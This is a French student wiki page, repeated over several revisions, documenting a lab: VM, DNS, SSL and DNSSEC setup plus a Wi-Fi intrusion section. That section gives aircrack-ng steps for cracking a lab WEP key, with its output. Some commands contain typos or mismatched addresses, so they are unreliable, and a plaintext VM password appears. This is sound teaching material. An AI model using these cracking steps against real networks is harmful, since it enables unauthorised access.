Wiki d'activités IMA - Contributions de l’utilisateur [fr]

TP sysres IMA5 2021/2022 G8

2022-01-13T19:26:03Z

Mbaumgar : /* Intrusion sur un serveur d'application web */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM
|-
| Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon
|-
|}

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions par ssh==
dans le fichier /etc/ssh/sshd_config
on a configurer le port de connexion ssh à 1359
et on a autoriser le login depuis root (PermitRootLogin yes)

on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :
$ ssh root@193.48.57.183 -p 1359

== Serveur DNS ==
sur gandi.net on à reserver le DNS tournecochon.site pour notre site

== Configuration Bind ==
on souhaite avoir notre serveur Xen comme DNS principal

on commence pour cela par installer bind
apt-get install bind9

on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute

zone "tournecochon.site" IN {
type master;
file "/etc/bind/db.tournecochon.site";
allow-transfer { 217.70.177.40; }
};

où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire

type master précise que tournecochon.site est le DNS principal

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :

$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk

On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :

zone "tournecochon.site" IN
{
type master;
file "etc/bind/db.tournecochon.site.signed";
allow-transfer { 217.70.177.40; }
};

On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.

Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :

dnssec-verify -o tournecochon.site db.tournecochon.site.signed

Le résultat est satisfaisant :

Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed'

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

= ASR =

TP sysres IMA5 2021/2022 G8

2022-01-10T18:49:52Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

TP sysres IMA5 2021/2022 G8

2022-01-10T18:32:49Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM
|-
| Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon
|-
|}

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions par ssh==
dans le fichier /etc/ssh/sshd_config
on a configurer le port de connexion ssh à 1359
et on a autoriser le login depuis root (PermitRootLogin yes)

on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :
$ ssh root@193.48.57.183 -p 1359

== Serveur DNS ==
sur gandi.net on à reserver le DNS tournecochon.site pour notre site

== Configuration Bind ==
on souhaite avoir notre serveur Xen comme DNS principal

on commence pour cela par installer bind
apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :

$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk

On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :

zone "tournecochon.site" IN
{
type master;
file "etc/bind/db.tournecochon.site.signed";
allow-transfer { 217.70.177.40; }
};

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

TP sysres IMA5 2021/2022 G8

2022-01-10T17:41:07Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

== Serveur DNS ==

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

On inclue les clés dans /etc/bind/db.tournecochon.site

$include /etc/bind/tournecochon.site-ksk.key

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un PC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

TP sysres IMA5 2021/2022 G8

2022-01-10T17:35:56Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

== Serveur DNS ==

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

TP sysres IMA5 2021/2022 G8

2022-01-10T17:35:25Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

== Serveur DNS ==

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private

tournecochon.site-zsk.key
tournecochon.site-zsk.private

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

TP sysres IMA5 2021/2022 G8

2022-01-10T17:31:38Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

== Serveur DNS ==

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private

Génération de la clé asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -f KSK -n ZONE tournecochon.site

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

TP sysres IMA5 2021/2022 G8

2022-01-10T17:20:59Z

Mbaumgar : /* Sécurisation de serveur DNS par DNSSEC */

=Création de la machine virtuelle=
